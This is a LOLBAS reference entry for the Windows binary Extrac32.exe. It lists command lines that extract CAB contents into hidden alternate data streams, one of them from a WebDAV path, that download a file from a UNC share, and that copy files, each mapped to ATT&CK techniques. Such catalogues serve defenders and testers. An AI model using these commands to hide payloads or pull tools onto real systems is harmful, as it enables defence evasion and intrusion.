.. /Extrac32.exe
Star

Alternate data streams (Compression)
Download
Copy

Extract to ADS, copy or overwrite a file with Extrac32.exe


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

  1. Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

    extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
    Use case
    Extract data from cab file and hide it in an alternate data stream.
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Type: Compression
    This LOLBAS involves (de)compression of one or more files.

  2. Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

    extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
    Use case
    Extract data from cab file and hide it in an alternate data stream.
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Type: Compression
    This LOLBAS involves (de)compression of one or more files.

Download

  1. Copy the source file to the destination file and overwrite it.

    extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
    Use case
    Download file from UNC/WEBDav
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

Copy

  1. Command for copying calc.exe to another folder

    extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
    Use case
    Copy file
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105